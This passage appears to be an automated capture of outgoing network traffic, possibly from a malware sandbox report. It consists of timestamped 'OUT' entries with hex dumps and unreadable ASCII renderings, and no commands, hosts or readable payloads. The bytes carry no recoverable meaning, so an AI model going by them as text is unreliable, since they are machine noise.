u82#OzL6iJ/l?,I,!Lw!y8F35t:^,<,9
2021-09-13 04:32:01 UTC	491	OUT	Data Raw: 35 84 bf a7 a7 e6 39 01 40 81 3f 1f 00 6a 08 2c 17 00 e9 da 7f 3e 00 7c 79 36 f8 01 f0 a8 fb f0 33 05 7d 06 b2 00 e8 c3 37 5d 8b 03 a0 07 02 e5 35 db 1a 00 f2 71 0d 7e 71 d9 e7 e1 e8 71 36 17 ff 7c 00 18 dc 17 00 f4 a0 9f ce 7d 9c 9b 0f fd 74 be c7 ac ab e4 6b 29 56 ec f9 6d 06 00 cd 48 40 17 ec e2 8a 03 3e 29 ee 78 b0 7f 23 00 96 55 1c 00 9a 29 c0 f4 da f6 f5 24 01 40 c2 3f 01 40 5a ec 63 23 00 46 01 d0 59 fc 43 00 30 b5 4f 47 ae 24 00 ee 67 16 02 31 f8 47 b7 5b 19 00 7d e8 a7 73 e0 cf cd 87 7a 0d a9 1c 00 e4 14 00 32 02 36 10 00 83 1c f0 73 8b 00 a0 c5 3f de ef c1 3f ee b8 57 a2 00 28 78 a7 f0 4f 00 50 23 60 83 01 90 0a e0 4f 0a 01 90 de 53 29 00 d4 20 d7 50 00 0c 10 50 03 20 65 01 50 16 ff 10 f8 0b 00 d0 2e 36 42 53 7e cd eb bd 67 d2 00 78 c6 07 06 fd Data Ascii: 59@?j,>\|y63}7]5q~qq6\|}tk)VmH@>)x#U)$@?@Zc#FYC0OG$g1G[}sz26s??W(xOP#`OS) PP eP.6BS~gx
2021-09-13 04:32:01 UTC	507	OUT	Data Raw: 9f 14 80 5f 2b 02 a0 c6 3e 5f fa dc a0 47 0c 02 36 1a 00 3b d7 31 00 6e f6 d4 0a f8 fe e3 b3 e1 a0 6e d9 00 00 ff 43 d3 c6 5e a9 82 cd 5e 4c 33 00 a6 de 70 00 90 00 af 39 01 b0 4c 04 dc 08 80 b8 4f 10 d0 87 7a 0d a9 29 00 c8 65 f8 3a 80 15 dd ea 19 00 2b be cc c0 37 f1 bc ef f5 04 9e 06 fc db 3e 79 f8 73 9f 34 fc ab 6f 1e f6 e8 97 e5 51 6d 17 0c cd c2 9d a3 d6 32 6a 4c af 33 2b 00 d3 4a be 04 80 87 f5 58 08 3f 79 65 0e 03 60 ea c1 b5 90 c4 df 5f fe 37 41 01 e0 37 6f 34 00 d8 d1 02 20 3d d6 07 80 87 e2 6b c9 08 40 01 c0 83 9b 19 00 69 4a 71 24 e7 b8 c6 3f 7a 0f 1a ff 9a 03 00 83 68 5f 90 99 f2 4b d1 ea be 74 7d 3f 9e ea 1b 81 3f 8d 7f 10 c0 1f a5 af f1 27 f8 77 e1 f0 0c 5c 3c 3c cb 31 fc e1 31 da 76 c0 f3 19 fe ec 6a bf 32 ed 57 ae f9 17 2c f2 31 c6 4c f5 Data Ascii: _+>_G6;1nnC^^L3p9LOz)e:+7>ys4oQm2jL3+JX?ye`_7A7o4 =k@iJq$?zh_Kt}??'w\<<11vj2W,1L
2021-09-13 04:32:01 UTC	523	OUT	Data Raw: f4 94 7c d5 61 44 00 fe b7 05 a0 97 04 d4 fc e9 02 90 e1 7e 83 ff ef 02 d0 8b ed 15 80 db 4b 2a 01 a8 e7 02 74 08 40 87 04 d4 11 7f 4e 01 c8 73 01 9a 02 90 a3 ff ea 22 00 53 62 ee c7 f2 4f 63 1e 87 96 75 f4 9f 26 ed 0e 6a 4d 09 f8 4f 15 80 a6 fc fb 07 0b 40 96 7f 7f a6 00 d4 e3 6c 3c d2 7d 4d cc 73 c8 71 53 08 40 9f 21 00 75 e4 9f 97 00 74 8b 3f 8d 19 f1 e7 c9 ff 8a 00 34 04 9f a7 04 34 b6 6f 8b 00 74 44 00 d6 52 00 3a 22 00 5d 02 d0 2d 01 3d a5 5e 5d 70 45 ff 39 04 e0 b7 45 4a fe 79 44 00 ee 08 01 98 24 ff b6 51 00 d6 6f 5b 2e 02 f0 c0 36 1b f1 90 25 00 df d9 e8 12 80 5d 68 5f 96 7d 7f a6 00 dc 1e 09 e8 25 ff 98 6d 10 80 8c 97 ec f3 c2 53 ea 55 87 3b 22 d0 4b fa 99 d4 46 00 7a 49 40 dd ff 17 08 40 5e af 51 00 52 cb 15 81 9b 65 54 e1 88 cc 72 5c 3e a1 02 Data Ascii: \|aD~K*t@Ns"SbOcu&jMO@l<}MsqS@!ut?44otDR:"]-=^]pE9EJyD$Qo[.6%]h_}%mSU;"KFzI@@^QReTr\>
2021-09-13 04:32:01 UTC	539	OUT	Data Raw: 04 e4 75 4b 00 ba c5 9f 29 ff b8 22 af 19 8d 57 5b 4c 01 e8 96 7a 6e 6a 23 ff b6 4b 00 ea 68 3e c6 bd cd 4b fe 31 86 00 e4 f4 df ba 0a 40 5b fe d9 02 30 82 06 9d f2 b0 7f e7 65 78 69 71 25 7e 2d 00 da 95 d2 8f de e9 95 38 ac 67 a1 21 00 89 1e 74 2e 53 00 1a d2 ce 94 7d a9 30 c7 57 8b 97 fc 63 52 09 40 2f f9 c7 f4 53 82 af 26 64 be 3f 2d 01 07 d0 b5 a6 40 cb 3f 2d 00 9d 29 bf 8c 4a fb e5 b9 fc 34 52 e0 43 8a 82 70 4b cf cb 10 7a 2e 84 30 fc 43 83 44 a5 4d 60 58 15 11 42 fa 50 8d 53 fe d5 33 da 7a 43 42 68 30 24 2e e2 af e1 50 05 af d7 1f 4a 7d c3 e8 79 1d 1e b3 88 a0 de c8 28 11 b6 a9 3f 2a 22 91 7e 8d 47 57 60 e7 51 a5 68 4a ec 32 b2 18 bb 8f 2c c2 7e c4 81 c4 a1 23 0b 71 fc 98 52 9c 3a a6 04 67 64 16 e3 dc ac 62 5c 9c 55 8a ab c6 55 e0 c6 29 61 dc 31 23 Data Ascii: uK)"W[Lznj#Kh>K1@[0exiq%~-8g!t.S}0WcR@/S&d?-@?-)J4RCpKz.0CDM`XBPS3zCBh0$.PJ}y(?*"~GW`QhJ2,~#qR:gdb\UU)a1#
2021-09-13 04:32:01 UTC	555	OUT	Data Raw: a5 f8 23 52 55 f7 65 78 9e 3f 26 95 f8 f3 bf bb ce 81 5b fc 79 09 c0 b4 0f 13 e2 2f 15 b6 00 b4 08 7c b8 d9 81 48 3f 8d 3b ba cf 8d 3b ba 8f 70 57 ee f5 92 7e 7a 7e 3f df 57 d4 ba 22 fe b4 f4 0b 7c 97 90 7e 81 1f ca 04 2d fc 6c 92 0a 72 98 a8 4a ba 76 9a af 81 9e bb 2f 29 d2 cf 43 fc 99 72 cf 91 7e 6b a4 e1 6a 81 97 2c f2 9c 70 f4 9e 9e 63 2f d0 89 8e cd d2 cd ea 97 31 22 e1 12 28 c1 42 3f ee ad 68 2c 2d 4d 44 ac 70 eb 86 a3 f5 dc 92 85 e9 49 f7 49 c3 45 16 7a f2 3c 6d d4 32 dd e8 47 9f 71 8e 74 3a 4e 7a f7 28 ea f5 88 a1 3e ed ab e4 5f 08 f5 ba 04 51 9f da 46 dd 22 68 4c db 99 7a b4 6f a0 7b 15 1a f5 2d c5 be 7d d7 e2 aa 9c 35 e8 9c 1f 02 fd be c5 14 e2 93 25 15 38 7d e0 5a 34 ed 49 af cd fe f4 03 74 30 9d af 3f 9d 9b a5 df 40 da 77 60 10 69 43 e8 fc 83 Data Ascii: #RUex?&[y/\|H?;;pW~z~?W"\|~-lrJv/)Cr~kj,pc/1"(B?h,-MDpIIEz<m2Gqt:Nz(>_QF"hLzo{-}5%8}Z4It0?@w`iC
2021-09-13 04:32:01 UTC	571	OUT	Data Raw: b2 0f ff ed dd 81 32 97 f0 df f5 95 17 80 56 82 14 d6 34 fd 00 06 02 30 9c 2e 4d 38 11 61 77 4e 7b 9e 6a 23 b1 10 19 87 e8 3f 69 f2 69 05 20 64 d2 6d b0 37 b7 5a 51 c3 a5 ca 9e 36 67 05 a5 08 40 ac cb 88 ec 99 c8 cb aa 18 93 c8 40 95 33 10 58 f9 04 a0 1d de 57 11 80 d8 2e fa 01 44 13 5a 11 80 3a 7d bf b0 a9 f4 2f 10 11 69 af 07 9a 00 1f 74 aa 90 a8 fe 27 23 9b 70 1c 88 b0 03 88 72 e3 7f 22 e8 30 2e e7 ea 48 28 4c 93 e6 b0 2a 00 ed 74 c8 2b 69 32 6b c7 65 38 dc a7 48 b7 c8 3e b1 8e 23 de aa 1d c2 f3 7f 48 89 a3 ce 35 52 6b ff e3 72 af 39 9a d2 d6 3a 5a 84 ee ec b6 7c 7d 44 98 59 29 86 a8 3a d9 cf 8f 2a 6e 06 9c 23 00 99 e0 39 88 0a 40 23 32 db d2 59 2a e6 82 e6 ce cc ed fc 17 57 45 cf 90 15 80 89 03 2e 33 fd 1f b6 fd b5 9d c6 f7 0b 7d f8 a1 f9 6f 7b 9c 0f Data Ascii: 2V40.M8awN{j#?ii dm7ZQ6g@@3XW.DZ:}/it'#pr"0.H(Lt+i2ke8H>#H5Rkr9:Z\|}DY):n#9@#2Y*WE.3}o{
2021-09-13 04:32:01 UTC	587	OUT	Data Raw: c2 1a c1 97 0f fd b6 f8 04 82 d0 6e cf 8d 1c 74 a9 b4 00 54 f4 b7 55 05 a0 7e ef 62 08 7f 7b 0d 39 f2 0f d8 df 61 1f fc 47 0a f0 e5 5e 45 e8 77 5a d1 88 bf 7c e8 f7 bd 22 24 aa db 21 8c 04 44 33 de 78 20 f7 94 b8 f9 20 d1 8e 7f cf 3a f2 3b 8b 77 99 ff be 80 f0 cf 76 e1 f7 bf cb 1a 3a 61 e0 2a ba e6 f5 4d c4 9f 61 ba ff 13 a2 83 9e e4 bf 2b af eb cf 7f 13 0f a2 d4 e5 7d 29 71 49 8c 00 c4 78 3e 01 08 be b3 02 d0 15 7f 40 e5 9f 2b 01 5d 11 b6 b7 38 32 94 7f ae 00 0c c6 bf 6d 01 18 77 8c 2e 38 be ff 06 01 a8 12 30 58 f7 5f 27 00 41 b8 dd a8 c0 fb 57 08 40 91 74 2a f1 e2 24 5f 79 38 f2 0f b8 62 4f 71 f7 e5 ee 53 f9 6f 13 80 ee b8 1c cb bf 50 00 fa 12 b0 3c 01 08 76 4b 00 22 12 f0 bb 2a 00 9d e6 bf 10 80 1a 01 68 a2 ff 9e 13 f9 07 d0 df 9f a1 b1 e1 bb 22 00 21 Data Ascii: ntTU~b{9aG^EwZ\|"$!D3x :;wv:aMa+})qIx>@+]82mw.80X_'AW@t$_y8bOqSoP<vK"*h"!
2021-09-13 04:32:01 UTC	603	OUT	Data Raw: 45 a3 40 dd 6b 27 e0 9e b8 b8 42 10 b8 52 b0 12 b8 d1 a3 60 4f e7 03 cd 44 1e 08 c0 dd 45 ff 53 24 1f 10 7e ee 70 8c 04 8c 9b a6 40 d2 55 16 08 2f 59 a7 be 5d d7 96 d2 0d 03 b6 1d 57 f2 71 61 19 48 47 6c 03 a5 8c db e3 11 19 a9 c3 f9 40 9f 88 e5 10 24 db f1 c6 91 90 07 02 32 d1 90 af 4d 23 fe cd 10 78 7b da cc 59 23 0c b1 1e d6 6f b8 dc 88 a7 c6 2b cd 74 48 46 88 c8 7a 18 e6 69 f5 57 f1 f1 22 62 70 15 a5 03 56 50 a6 91 8d 56 43 12 10 c9 0c cc cb a3 a9 31 fa 22 44 bf 80 8d 17 53 b6 29 ff ee 35 e2 df b4 86 f3 28 db 78 01 15 36 5d 44 45 cd 16 53 b5 56 cb a8 b8 19 8f 37 99 4b 05 0d bf a0 4c 83 4f 28 53 ef 43 ca 36 f8 27 15 35 fe 88 aa 36 fb 94 d2 f5 f9 f7 88 c9 36 f8 80 aa 36 fe 84 6a b7 9c 4d 47 76 5e 42 3f e8 bb 9e 4e 1b be 95 ce 9d 42 74 d6 64 a2 33 a6 32 Data Ascii: E@k'BR`ODES$~p@U/Y]WqaHGl@$2M#x{Y#o+tHFziW"bpVPVC1"DS)5(x6]DESV7KLO(SC6'5666jMGv^B?NBtd32
2021-09-13 04:32:01 UTC	619	OUT	Data Raw: 1c ca 2d 55 ef 8d 48 ea d9 96 2a fa b2 d8 3b 71 10 b4 3a 61 20 54 b6 7d 38 45 c5 f1 0f 41 e5 71 31 34 5f 71 2c 15 1c e9 6f 84 de d1 34 6e 61 6f a8 3c a2 27 53 71 78 0f a8 38 b4 3b 23 a9 aa 2c ab e8 7a d3 75 e7 31 f5 e8 9e 58 48 80 51 0a 37 49 bb bd ad bc 23 71 47 ec 89 f7 59 d8 eb ce b8 dd 83 da bb f0 b9 b8 97 9f 05 1e 07 72 1f 23 86 63 6e 77 ad a4 8e 33 54 41 5a 90 42 32 45 2a 47 73 f5 68 96 85 f1 f3 e6 a3 05 a0 50 8e 08 14 12 cf a7 c6 09 40 92 d3 44 52 50 f3 35 25 a4 aa 70 13 45 60 96 00 d4 52 3b 25 00 45 02 72 14 eb c0 38 45 9d 45 e0 a0 38 22 30 24 02 7d 94 00 34 12 d0 a4 b3 c7 12 50 09 40 44 24 37 a5 92 37 16 1a cb 52 43 63 09 86 a2 02 35 4e 16 06 04 63 62 79 06 c1 75 fc fd 4a 2a b3 6e 79 3d 3a 46 af d5 eb 21 fa 58 8b e1 3e 8f b0 db 9a 7d a9 7e 82 d6 Data Ascii: -UH;q:a T}8EAq14_q,o4nao<'Sqx8;#,zu1XHQ7I#qGYr#cnw3TAZB2EGshP@DRP5%pE`R;%Er8EE8"0$}4P@D$77RCc5NcbyuJ*ny=:F!X>}~
2021-09-13 04:32:01 UTC	635	OUT	Data Raw: 0a 62 90 cc d3 98 28 2e 4a ed b4 c7 b8 fd a5 0c 89 4b 2e 56 f2 1f 3c 17 4e b7 a5 54 5b 64 eb 73 0c 2e d5 f6 cc 24 12 81 c7 91 7a 78 5d 37 c5 6b fc 6f bc ee ff c2 fb f3 2f 12 b8 24 73 29 9d 9b 5a c5 a6 24 f9 08 12 7c 08 0b 5d 91 be 16 16 c1 d4 af 90 f5 85 12 f7 5a c4 6f 9a 2c 01 28 64 0b 40 96 80 81 e7 23 28 00 e9 59 29 85 b7 4d 42 00 d2 33 46 e3 4b aa 31 26 25 0a b0 b0 83 1e d3 2f 83 90 f4 d3 2c 43 01 c8 51 ae 48 79 02 30 2e 1a 92 10 80 82 88 3f 27 04 03 f2 8f 50 29 c0 0c 8d 69 c9 14 93 80 0a 11 80 5a 04 8a 04 64 f0 7b 4b 93 12 81 1d 62 3c 01 18 1d d2 b9 a8 08 cc 1d 4c 12 b0 3b e4 04 25 fb 1c a5 96 2b 12 62 d0 a5 12 17 a3 57 40 aa 21 01 d1 55 1c 91 6f 25 f0 e5 23 22 82 d2 8f 5a d4 f2 b2 18 b9 23 f1 1c 08 9a 66 fc 73 c9 10 7f 02 a7 e1 06 90 e5 fe fe 7c e8 Data Ascii: b(.JK.V<NT[ds.$zx]7ko/$s)Z$\|]Zo,(d@#(Y)MB3FK1&%/,CQHy0.?'P)iZd{Kb<L;%+bW@!Uo%#"Z#fs\|
2021-09-13 04:32:01 UTC	651	OUT	Data Raw: 49 48 88 41 e9 5f 1b e1 a2 0f 16 4f 7a 51 6a 6f 9e a2 ff 10 12 38 26 ea 2f 89 c8 19 12 7c 5a d6 e8 c8 39 81 fa 29 c5 93 a6 49 84 50 84 1d 49 11 8a be 8b 36 36 51 78 c9 f6 48 5e 6e 52 6c e3 f5 b2 a2 f4 78 7e 7d 6c 29 e5 58 a4 93 3d 7e 82 a3 f6 d6 a5 6b 67 52 58 53 d7 4b 52 6a 05 92 6e 3e 32 1e 25 09 3d 1f 59 96 b5 3c 20 fd 7c 8a 09 40 79 0e f8 59 50 cf 47 ea 39 d1 cf 7c 23 68 bc 00 94 54 df 5f 05 60 10 7d 2c c8 52 13 80 96 9f 4c 00 5a 96 bd 00 14 62 01 98 4c fb b5 63 ff 85 64 5f 80 54 24 e0 4f 28 00 83 fb e0 74 e0 a6 a3 25 60 31 11 28 a4 24 60 28 65 58 c1 15 85 03 fd 8e 3d 4d 84 60 b9 e8 48 42 96 87 be dc cb 62 0f 5c 57 a0 79 11 50 a5 52 90 43 7d 09 bc 88 b7 96 80 44 1b 09 37 25 eb 64 de 47 a2 f6 08 8a 2a d4 d1 78 44 3c 7f 37 e3 1f 7f 48 aa 69 82 d1 7b 7b Data Ascii: IHA_OzQjo8&/\|Z9)IPI66QxH^nRlx~}l)X=~kgRXSKRjn>2%=Y< \|@yYPG9\|#hT_`},RLZbLcd_T$O(t%`1($`(eX=M`HBb\WyPRC}D7%dG*xD<7Hi{{
2021-09-13 04:32:01 UTC	667	OUT	Data Raw: 26 da 9c 97 fb 76 c4 79 80 df 9f 3e 63 ba 59 60 ba 39 9d 07 91 ea 2e 3b 33 76 5e a3 cf 17 7d 8e f0 f6 a2 e0 2b a5 0b fa 9c 99 85 21 02 d0 2e d3 f0 f1 51 df 83 a1 fd 9c 45 00 82 ec b7 1d c2 ac c2 cf d2 7b fe ef 9d 91 24 a0 23 c5 12 ae b0 23 bc bc 43 f0 ca b2 78 eb 2d 2b 51 24 2a f9 b7 26 00 87 73 73 12 80 5a 02 ae 1a 01 b8 dd e3 67 47 0b 40 8d 11 80 d3 1d 4e 4f 78 69 9c 3e 33 be 3c 14 3c 89 a8 a9 1e 7e 66 46 88 4a 6c b0 cb db 84 be 0a bb 48 02 d0 08 c5 10 25 48 fb 11 99 ec 44 fb ac 79 f8 19 cd d4 b2 23 7d 77 86 96 77 21 22 53 a3 f6 61 8c 00 d4 e2 af 2d 00 89 d4 2c 19 18 01 48 0f 9c ba 5f c2 46 00 9a 87 d2 0e 74 3f 36 0d 8e 14 ec 91 86 09 ee 37 07 0f d1 23 e8 13 80 04 fe 5b 5f ed fd cc 7a 69 9f 20 02 41 5b 00 46 20 00 0b 12 90 f3 7b d2 4f e3 89 bc 59 29 09 Data Ascii: &vy>cY`9.;3v^}+!.QE{$##Cx-+Q$*&ssZgG@NOxi>3<<~fFJlH%HDy#}ww!"Sa-,H_Ft?67#[_zi A[F {OY)
2021-09-13 04:32:01 UTC	683	OUT	Data Raw: 28 01 28 12 50 cb 3f 61 88 00 14 09 b8 50 01 e8 49 c0 45 09 40 89 c6 d1 02 10 2f ed 31 02 d0 15 80 32 8a 27 4b c0 28 f5 a4 6f 3f e0 08 be 94 2f 62 97 5b 5c a9 47 74 0a c0 d8 07 21 e3 08 40 2d 01 45 04 96 04 20 b0 91 80 7d 02 50 a3 65 a0 08 40 91 7f 2c 00 53 bf 6a 6d e1 07 d1 27 e9 76 d9 f4 bc 7f 61 38 7a 50 fa 11 d4 11 82 44 92 7f 04 3e 0b 3a 32 30 f5 2b 98 f5 2f 08 a2 40 02 32 fa ab 27 02 59 10 36 02 50 4b 40 d0 92 7f 92 16 65 1f 7f ee 90 80 56 f0 0d 61 8c 04 64 e1 e6 a4 5b a4 2c e9 23 b1 6b aa f3 cf 33 15 aa 8b 69 7a 51 88 f4 0b 91 7d ff 4e c7 39 4a 3f 1c 77 16 b8 f8 2d 1c 29 8c 73 e5 fc 78 ee c4 73 b0 39 3f c3 e0 1d 02 8f 8a 2d c2 9b cf fd 30 c8 4e ba 6e e2 f5 c8 d7 25 5d bb d5 29 74 dd 9f f4 a1 50 47 3c ee 4f 39 6a 98 07 11 42 dd c1 d1 7e 7f 5c 57 27 Data Ascii: ((P?aPIE@/12'K(o?/b[\Gt!@-E }Pe@,Sjm'va8zPD>:20+/@2'Y6PK@eVad[,#k3izQ}N9J?w-)sxs9?-0Nn%])tPG<O9jB~\W'
2021-09-13 04:32:01 UTC	699	OUT	Data Raw: 27 f5 c6 30 ab 60 4a 42 49 e1 8a a2 01 79 34 5e fe 2c 0d db d7 fb 6c 71 f6 d3 a6 25 bc f5 97 0b 6f fb c0 cb 5b c2 5b bf 8f b8 5e fa bd ec 72 07 f9 5d ed 6f a3 99 6c 2c 02 50 0b be a1 6c 4c 02 f0 fe 87 05 8a 12 d0 17 7c 7d 2c 4a 00 02 2d ff 80 4e eb 93 78 56 f8 59 bc 75 46 e1 48 3f 8d 88 bd 4c 00 7a 74 08 40 4f 02 36 e9 b9 f8 13 44 f0 95 d2 85 21 02 30 93 80 eb 49 00 b6 c1 c3 79 78 40 cf d0 0f e7 44 f6 e0 4e 6c 74 02 70 c4 36 f5 8b 5a c2 13 80 4a 02 8a 00 14 09 28 02 b0 11 81 b9 f8 13 ac b4 6b 61 04 a0 9b 07 a0 2c a7 bc b4 9e 74 52 ef c9 bd 21 18 01 28 12 70 b4 00 04 51 00 ba 91 80 12 0d 28 2f f6 04 04 60 e8 b3 ab 83 42 24 a0 87 27 00 59 3e 28 09 98 c9 3f 44 25 69 01 78 74 88 66 82 00 ac 8e c9 c5 df d2 f1 ef 48 88 fc 63 e1 27 7d 08 4a 3f 82 90 25 3c 08 42 Data Ascii: '0`JBIy4^,lq%o[[^r]ol,PlL\|},J-NxVYuFH?Lzt@O6D!0Iyx@DNltp6ZJ(ka,tR!(pQ(/`B$'Y>(?D%ixtfHc'}J?%<B
2021-09-13 04:32:01 UTC	715	OUT	Data Raw: b1 3f 40 1d 0d 08 a1 02 b1 22 02 30 0a 1a c6 13 80 8f c2 08 c1 b9 00 f4 24 a0 a4 27 86 0a c0 c3 29 1f b0 22 50 cb 3f 90 8d 1c 0c 44 58 b5 d1 82 af 0f 2d c3 18 4f 98 09 6e 1e 4f ea 8d 41 95 6b 51 db 59 b4 f8 63 9c 63 97 8e 73 3c ee b9 fc a3 df 05 d1 7e 51 fe e1 7c 28 8a 3f 3d 52 ef 00 01 e8 49 3f 8d 34 6d 97 88 bf 24 ba 63 e4 5f 13 2d 9b 4b f3 24 fe 08 96 f0 5a fe 81 01 02 50 d7 31 2c fe 4a f5 1f a3 ea 4c 42 cb 3f ae c7 ed a0 15 5c 0f e7 62 6f 38 e7 a9 7b 01 ee 25 ea be 62 45 56 bc 5f 0e 17 7b 43 51 32 cc 8e 80 6b 04 20 98 57 00 6a f9 e7 46 fa ab ef 5e a4 6f 9d 1d b1 ad 20 fe ec fe b7 f1 8e c9 00 e4 b9 87 9f ad 9a e7 2d 48 3e 7e 26 8b 68 f9 67 05 e0 f4 21 94 47 8b 3b e0 c9 bd 21 e8 32 9a a6 bf 26 fa ef db af 0f 9f bf ff 5e 16 80 88 02 fc e9 a7 ce 4c cd 80 Data Ascii: ?@"0$')"P?DX-OnOAkQYccs<~Q\|(?=RI?4m$c_-K$ZP1,JLB?\bo8{%bEV_{CQ2k WjF^o -H>~&hg!G;!2&^L
2021-09-13 04:32:01 UTC	731	OUT	Data Raw: cb 4a 4c 96 a5 32 8f c9 3f 01 64 1f 27 cc 0e 9c 90 80 07 54 fe 09 5c c4 1d 15 54 fe 09 28 ed 88 f8 53 30 5d 0d 54 cc 6d 13 2a ff 04 2e f4 22 0b 08 40 01 85 de 18 56 fe e9 32 16 d4 95 b0 02 50 c8 82 cf 06 bc c0 23 cb c7 28 09 40 2b 01 13 f9 27 cc 14 80 11 37 58 49 88 eb f2 e0 3d 41 05 60 41 02 fa 41 d0 b5 83 04 b4 a2 8f 2d 13 e2 25 44 58 c7 12 a6 ee 1b 15 80 28 f7 6a b1 65 b4 80 83 de 39 e0 0c 42 32 8b 70 4c 00 26 5c 7f 73 36 a8 df 84 00 cc f2 45 e9 30 43 00 c6 f5 a9 bc f0 9c 74 65 0b 76 b9 80 d2 23 02 db 02 54 a4 a0 00 54 bc 84 69 11 80 64 3d 13 7b b5 02 d0 6f 9f ca 3e 46 be 6d c1 cf 34 2b 09 40 11 54 22 b9 84 28 c5 ac c0 1b 48 a5 1a 27 a6 7f e6 2b 27 24 de 9a 64 f5 9e c7 98 fc b3 97 ed 56 13 67 62 c2 b1 61 10 f9 67 05 60 76 fc 79 8c f0 93 63 15 2f f5 25 Data Ascii: JL2?d'T\T(S0]Tm*."@V2P#(@+'7XI=A`AA-%DX(je9B2pL&\s6E0Ctev#TTid={o>Fm4+@T"(H'+'$dVgbag`vyc/%
2021-09-13 04:32:01 UTC	747	OUT	Data Raw: 7f c2 5e 00 1a b8 04 1b 60 79 96 60 dd f2 5b f2 6b da 3a 72 a9 d5 82 15 5a 4c 7a b5 60 cb 9b 04 a4 9e 95 7c fa 19 d1 75 4b 61 eb c3 f6 09 b1 e9 ad 00 b4 12 30 11 72 41 ca 35 61 f3 97 60 e9 dd 67 26 ed 96 84 4a bd 16 f6 02 70 16 6c db b5 60 7b 58 39 b7 36 4c 00 0a 90 e6 38 0b 40 a5 94 d6 2f 93 4b 83 61 fd 18 4c fa 21 99 b4 9b 8b c8 ba d2 f2 b5 e0 c1 46 35 44 f2 8d 71 dc 04 e0 89 47 8e 07 c9 7d 90 b8 06 18 7c 32 42 a0 be 39 d2 c0 98 a1 c1 b2 25 0a 40 c5 2d b3 64 c2 cf b2 17 80 14 3b 30 2d c2 06 b5 0d 30 c1 37 45 52 46 22 e3 ea 48 06 f0 64 7d 1b 1b 16 80 8f 77 e9 05 58 96 08 18 58 4e 31 79 85 24 3f 13 4d 2d 18 29 25 a0 98 8a e9 9e f0 ad 39 58 4e 03 a9 04 4c 85 57 1b 79 dd 9b 21 f5 f3 e8 3e d6 e4 a9 49 a3 98 74 43 5b f3 d9 85 28 ff fc f7 21 4f df 85 d9 7f 78 Data Ascii: ^`y`[k:rZLz`\|uKa0rA5a`g&Jpl`{X96L8@/KaL!F5DqG}\|2B9%@-d;0-07ERF"Hd}wXXN1y$?M-)%9XNLWy!>ItC[(!Ox
2021-09-13 04:32:01 UTC	763	OUT	Data Raw: df f8 c6 5c 28 91 3a ae 83 95 a9 35 48 7b 5b 91 f7 55 6f 7a 41 50 70 5d f7 cf 7f f1 bd 71 b9 bc d7 bf 93 af fa a6 24 8f 20 7f 4c ea 29 53 eb 05 fc 3b f3 c2 47 36 7d bf 0a 6b df 4d b4 b7 a0 db 42 0e ce ef f1 12 f0 82 6b 8d 14 64 f0 19 83 8a 2c 1b 24 1e bc 4f 1e f2 71 6d 7c af e5 c6 a7 0f 07 b4 1c fb ea e5 e4 85 41 52 8e bc 8a 08 1c 63 75 d1 f5 11 f9 2c 79 22 b1 ce 0e 5c ee d0 fc 76 79 c6 05 d7 8f c3 a4 1e c2 a4 62 25 87 0f 71 e5 53 29 55 0f 93 94 9b 62 e5 02 9e 56 58 39 73 60 fb de c2 e1 43 45 ee 49 d0 66 d7 0d c1 1c 13 7c ad d8 9b 44 4f 41 83 1a 40 82 84 6c b9 06 45 0e 56 87 16 4a e5 8e 02 79 b2 80 a6 11 1a d4 6c 98 24 d0 62 41 2d 80 41 30 63 4c 0e f6 c0 80 ca e2 05 e0 70 5f a6 79 f4 83 be b9 e8 00 72 5d b2 b2 64 66 8a 43 06 a9 08 97 78 23 d8 f4 08 4b df Data Ascii: \(:5H{[UozAPp]q$ L)S;G6}kMBkd,$Oqm\|ARcu,y"\vyb%qS)UbVX9s`CEIf\|DOA@lEVJyl$bA-A0cLp_yr]dfCx#K
2021-09-13 04:32:01 UTC	779	OUT	Data Raw: 50 c6 9d ea 78 e1 67 21 e7 af 26 54 f0 15 d0 f3 34 3b 8f 0b d8 27 cd 83 f7 91 d5 18 01 d8 2a 01 69 99 63 ec 98 00 64 b1 51 0b 18 db 51 58 5c d8 c2 44 59 2c ae de 14 3a 1e 58 67 5c 60 cb a0 72 af 86 92 00 4c 24 e0 50 47 d6 76 1e 68 df da ef 37 59 af b1 b2 c8 34 13 2f c7 75 6b 80 e5 ad 4b 56 fe ae 08 c0 4c 2a 58 69 71 8e 3c 05 f8 e2 5e ca bc e0 4e 2f 3f f4 cf 3f 95 35 91 54 c3 df 5d b7 ff cd fe 61 20 fa 14 d5 1b 4e f7 0f eb f0 b3 c9 dc 76 e5 35 3e 01 36 ac 1b 9e 5a 8b 7f 77 77 b7 3c 45 a4 96 08 32 94 58 f2 20 07 91 61 f2 10 11 b9 6c b4 17 3c a9 d0 11 49 84 7f 50 96 c8 1b b9 84 73 29 a1 25 33 09 b3 ba bb 76 b8 cd 05 6b 32 db 4f c4 96 69 bf 3b 5e 00 75 91 7d 77 af fe be 74 3a 6b 4f d6 39 e4 5e 89 5e 42 85 cf 51 92 ca a5 bd 22 c6 1c 7d be db bb 93 f2 3d c5 07 Data Ascii: Pxg!&T4;'icdQQX\DY,:Xg\`rL$PGvh7Y4/ukKVLXiq<^N/??5T]a Nv5>6Zww<E2X al<IPs)%3vk2Oi;^u}wt:kO9^^BQ"}=
2021-09-13 04:32:01 UTC	795	OUT	Data Raw: ba f3 bf 39 9b b8 79 e3 30 cd e7 f3 66 42 dd f9 1c 10 e3 a6 a3 6d 6e 5a ae f9 c6 eb d7 de 08 3e 37 29 6c 06 9b c4 66 9d 96 df 6c 6e 9a 90 fd 86 0e 1b 64 9a be 8c 41 ef 37 66 da 8d 3b cb af 2f fd 6e 36 01 1b 46 62 6c 1b 47 8c 71 d6 40 6a 4b ff 1a ac 6b 9e e3 b0 5e 6e 98 dd 48 4b 06 a6 4f 3f 52 e2 6f 22 fb 46 1d 7b 12 80 e6 4e 3a e3 a0 af 90 3e 29 c7 e6 be 11 5a 63 ec 2c 25 0f d0 05 b6 24 02 24 1b 80 7a fa fb 1a 7d 3d 6d 99 5f c5 67 8c e3 cb 18 6c f6 65 ff bd 2e 68 67 0d 6c cb 36 75 1a 7a c2 a5 f7 a5 9e 84 0e a0 2d d9 03 92 cc d1 66 5c 9f 83 4e 7c fa 80 79 59 27 49 20 da e6 f4 71 da 21 98 d4 91 22 6b e5 58 cd 37 5e bf 76 09 2b 24 b6 49 52 8f b8 d1 2e 71 a7 2d 75 c8 3b 74 81 cd 5f 09 96 d8 33 06 5d d2 0f 3d 73 8c 83 ec 9b fc 33 d1 b7 7d e2 8f b1 f3 94 62 f3 Data Ascii: 9y0fBmnZ>7)lflndA7f;/n6FblGq@jKk^nHKO?Ro"F{N:>)Zc,%$$z}=m_gle.hgl6uz-f\N\|yY'I 